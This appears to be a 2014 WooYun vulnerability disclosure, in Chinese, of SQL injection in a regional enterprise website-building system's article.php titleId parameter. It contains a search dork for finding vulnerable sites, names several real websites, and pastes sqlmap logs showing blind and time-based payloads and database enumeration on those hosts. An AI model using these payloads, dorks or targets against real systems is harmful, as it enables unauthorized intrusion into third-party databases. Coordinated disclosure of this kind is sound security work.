当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069837

漏洞标题:某企业建站系统多处sql注入漏洞

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-07-28 14:44

修复时间:2014-10-26 14:46

公开时间:2014-10-26 14:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-08-02: 厂商已经确认,细节仅向厂商公开
2014-08-05: 细节向第三方安全合作伙伴开放
2014-09-26: 细节向核心白帽子及相关领域专家公开
2014-10-06: 细节向普通白帽子公开
2014-10-16: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

rt

详细说明:

前面的漏洞该审核了。
他们的网站:http://jz.smegx.com/customers/
他们的名字:广西中小企业服务网
注入参数多个:titleId
很多php?后面的参数都有注入,你们慢慢排查吧。
用户量暂时不知道,搜索到蛮多的。
还弄了个gov的域名,我日,真的假的。
关键词:
inurl:article.php?titleId=
技术支持:广西中小企业网
举几个例子

注入地址:http://www.gxlawyer.com/article.php?titleId=63
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:47:29
[00:47:29] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gxlawyer.com\session' as session file
[00:47:29] [INFO] testing connection to the target url
[00:47:30] [INFO] heuristics detected web page charset 'GB2312'
[00:47:30] [INFO] testing if the url is stable, wait a few seconds
[00:47:32] [INFO] url is stable
[00:47:32] [INFO] testing if GET parameter 'titleId' is dynamic
[00:47:32] [INFO] confirming that GET parameter 'titleId' is dynamic
[00:47:32] [WARNING] GET parameter 'titleId' appears to be not dynamic
[00:47:33] [INFO] heuristic test shows that GET parameter 'titleId' might be inj
ectable (possible DBMS: MySQL)
[00:47:33] [INFO] testing sql injection on GET parameter 'titleId'
[00:47:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:47:35] [INFO] GET parameter 'titleId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:47:35] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:47:35] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:47:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:47:46] [INFO] GET parameter 'titleId' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[00:47:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:47:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'titleId' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 32 HTTP(s) requ
ests:
---
Place: GET
Parameter: titleId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: titleId=63 AND 6165=6165
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: titleId=63 AND SLEEP(5)
---
[00:48:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.3
back-end DBMS: MySQL 5.0.11
[00:48:02] [INFO] fetching database names
[00:48:02] [INFO] fetching number of databases
[00:48:02] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:48:02] [INFO] retrieved: 2
[00:48:06] [INFO] retrieved: information_schema
[00:49:28] [INFO] retrieved: db_gxlawyer
available databases [2]:
[*] db_gxlawyer
[*] information_schema


注入地址:http://www.gxxgpower.cn/article.php?titleId=33
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:47:05
[00:47:05] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gxxgpower.cn\session' as session file
[00:47:05] [INFO] testing connection to the target url
[00:47:10] [INFO] heuristics detected web page charset 'GB2312'
[00:47:10] [INFO] testing if the url is stable, wait a few seconds
[00:47:16] [INFO] url is stable
[00:47:16] [INFO] testing if GET parameter 'titleId' is dynamic
[00:47:16] [INFO] confirming that GET parameter 'titleId' is dynamic
[00:47:17] [WARNING] GET parameter 'titleId' appears to be not dynamic
[00:47:17] [INFO] heuristic test shows that GET parameter 'titleId' might be inj
ectable (possible DBMS: MySQL)
[00:47:17] [INFO] testing sql injection on GET parameter 'titleId'
[00:47:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:47:24] [INFO] GET parameter 'titleId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:47:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:47:25] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:47:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n] y
[00:47:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:47:41] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:47:51] [INFO] target url appears to have 15 columns in query
[00:48:01] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[00:48:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:48:17] [INFO] checking if the injection point on GET parameter 'titleId' is
a false positive
GET parameter 'titleId' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 80 HTTP(s) requ
ests:
---
Place: GET
Parameter: titleId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: titleId=33 AND 9910=9910
---
[00:48:35] [INFO] testing MySQL
[00:48:40] [INFO] confirming MySQL
[00:48:48] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.3
back-end DBMS: MySQL >= 5.0.0
[00:48:48] [INFO] fetching database names
[00:48:48] [INFO] fetching number of databases
[00:48:48] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:48:48] [INFO] retrieved: 609
[00:49:32] [INFO] retrieved: information_schema
[00:55:12] [INFO] retrieved: 0898soft_db
[00:58:55] [INFO] retrieved: abc
[00:59:34] [INFO] retrieved: build_db
[01:02:10] [INFO] retrieved: company_2010
[01:06:08] [INFO] retrieved: company_db


注入地址:http://www.gxbwpower.cn/article.php?titleId=20
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:52:11
[00:52:11] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gxbwpower.cn\session' as session file
[00:52:12] [INFO] testing connection to the target url
[00:52:15] [INFO] heuristics detected web page charset 'GB2312'
[00:52:16] [INFO] testing if the url is stable, wait a few seconds
[00:52:22] [INFO] url is stable
[00:52:22] [INFO] testing if GET parameter 'titleId' is dynamic
[00:52:23] [INFO] confirming that GET parameter 'titleId' is dynamic
[00:52:24] [INFO] GET parameter 'titleId' is dynamic
[00:52:24] [INFO] heuristic test shows that GET parameter 'titleId' might be inj
ectable (possible DBMS: MySQL)
[00:52:24] [INFO] testing sql injection on GET parameter 'titleId'
[00:52:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:52:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:52:32] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:52:34] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:53:35] [INFO] GET parameter 'titleId' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[00:53:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:54:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:54:15] [INFO] checking if the injection point on GET parameter 'titleId' is
a false positive
GET parameter 'titleId' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: titleId
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: titleId=20 AND SLEEP(5)
---
[00:56:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.3
back-end DBMS: MySQL 5.0.11
[00:56:53] [INFO] fetching database names
[00:56:53] [INFO] fetching number of databases
[00:56:53] [INFO] retrieved:
[00:56:53] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[00:58:27] [INFO] adjusting time delay to 4 seconds due to good response times
[00:58:57] [ERROR] invalid character detected. retrying..
[00:58:57] [WARNING] increasing time delay to 5 seconds
[01:00:58] [ERROR] unable to retrieve the number of databases
[01:00:58] [INFO] falling back to current database
[01:00:58] [INFO] fetching current database
[01:00:58] [INFO] retrieved:
[01:08:27] [ERROR] invalid character detected. retrying..
[01:08:27] [WARNING] increasing time delay to 6 seconds
[01:11:02] [ERROR] invalid character detected. retrying..
[01:11:02] [WARNING] increasing time delay to 7 seconds


注入地址:http://www.nhrzcj.org/article.php?titleId=94
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:45:25
[00:45:25] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.nhrzcj.org\session' as session file
[00:45:25] [INFO] testing connection to the target url
[00:45:26] [INFO] heuristics detected web page charset 'GB2312'
[00:45:26] [INFO] testing if the url is stable, wait a few seconds
[00:45:28] [INFO] url is stable
[00:45:28] [INFO] testing if GET parameter 'titleId' is dynamic
[00:45:28] [INFO] confirming that GET parameter 'titleId' is dynamic
[00:45:29] [INFO] GET parameter 'titleId' is dynamic
[00:45:30] [INFO] heuristic test shows that GET parameter 'titleId' might be inj
ectable (possible DBMS: MySQL)
[00:45:30] [INFO] testing sql injection on GET parameter 'titleId'
[00:45:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:45:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:45:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:45:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:45:51] [INFO] GET parameter 'titleId' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[00:45:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:46:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:46:10] [INFO] checking if the injection point on GET parameter 'titleId' is
a false positive
GET parameter 'titleId' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: titleId
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: titleId=94 AND SLEEP(5)
---
[00:46:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[00:46:38] [INFO] fetching database names
[00:46:38] [INFO] fetching number of databases
[00:46:38] [INFO] retrieved:
[00:46:38] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
2
[00:46:54] [INFO] retrieved:


http://www.wddb.cn/article.php?titleId=144%27
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /data/wwwroot/wddb_cn/public_html/include/global.func.php on line 275

漏洞证明:

function

修复方案:

过滤。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-02 09:36

厂商回复:

最新状态:

2014-08-04:CNVD确认并复现所述情况,已经转由CNCERT下发给广西分中心处置。